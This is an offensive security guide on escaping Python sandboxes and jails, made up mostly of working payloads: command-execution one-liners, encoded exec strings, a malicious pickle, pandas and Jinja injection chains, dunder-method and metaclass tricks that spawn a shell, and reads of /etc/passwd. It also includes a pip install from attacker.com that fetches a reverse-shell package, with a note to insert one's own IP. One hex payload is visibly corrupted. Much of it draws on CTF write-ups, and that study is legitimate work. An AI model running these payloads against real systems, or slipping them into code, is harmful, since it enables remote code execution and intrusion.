Bypass Python sandboxes
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These are some tricks to bypass python sandbox protections and execute arbitrary commands.
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")
#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')
Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox.
Python2 input() function allows executing python code before the program crashes.
Python try to load libraries from the current directory first (the following command will print where is python loading modules from):
python3 -c 'import sys; print(sys.path)'
You can find a list of pre-installed packages here: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Note that from a pickle you can make the python env import arbitrary libraries installed in the system.
For example, the following pickle, when loaded, is going to import the pip library to use it:
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically
import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Trick shared by @isHaacK
If you have access to
pip or pip.main() you can install an arbitrary package and obtain a reverse shell calling:pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the
setup.py, and put your IP for the reverse shell:Reverse.tar.gz
1KB
Binary
This package is called
Reverse. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave.Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)
If certain characters are forbidden you can use the hex/octal/B64 representation to bypass the restriction:
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
assert b"+AAo-".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
It is also possible to bypass it using other encodings, e.g.
raw_unicode_escape and unicode_escape.If you are inside a python jail that doesn't allow you to make calls, there are still some ways to execute arbitrary functions, code and commands.
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass
# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)
# So just send your python code when prompted and it will be executed
# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass
If you can declare a class and create an object of that class you could write/overwrite different methods that can be triggered without needing to call them directly.
You can modify some class methods (by overwriting existing class methods or creating a new class) to make them execute arbitrary code when triggered without calling them directly.
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>
# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce
# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()
# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
The key thing that metaclasses allow us to do is make an instance of a class, without calling the constructor directly, by creating a new class with the target class as a metaclass.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do
Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
When an exception is triggered an object of the Exception is created without you needing to call the constructor directly (a trick from @_nag0mez):
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object
# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec
try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__
## You can also use the tricks from the previous section to get RCE with this object
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it
# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
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If you can access the
__builtins__ object you can import libraries (notice that you could also use here other string representation shown in the last section):__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
When you don't have
__builtins__ you are not going to be able to import anything nor even read or write files as all the global functions (like open, import, print...) aren't loaded.
However, by default python imports a lot of modules in memory. These modules may seem benign, but some of them are also importing dangerous functionalities inside of them that can be accessed to gain even arbitrary code execution.In the following examples you can observe how to abuse some of this "benign" modules loaded to access dangerous functionalities inside of them.
Python2
#Try to reload __builtins__
reload(__builtins__)
import __builtin__
# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
print.__self__
dir.__self__
globals.__self__
len.__self__
# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
Checking the
globals and locals is a good way to know what you can access.>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
# Obtain globals from a defined function
get_flag.__globals__
# Obtain globals from an object of a class
class_obj.__init__.__globals__
# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]
# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
Here I want to explain how to easily discover more dangerous functionalities loaded and propose more reliable exploits.
One of the most sensitive parts of this technique is being able to access the base subclasses. In the previous examples this was done using
''.__class__.__base__.__subclasses__() but there are other possible ways:#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()
#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()
#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
For example, knowing that with the library
sys it's possible to import arbitrary libraries, you can search for all the modules loaded that have imported sys inside of them:[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
There are a lot, and we just need one to execute commands: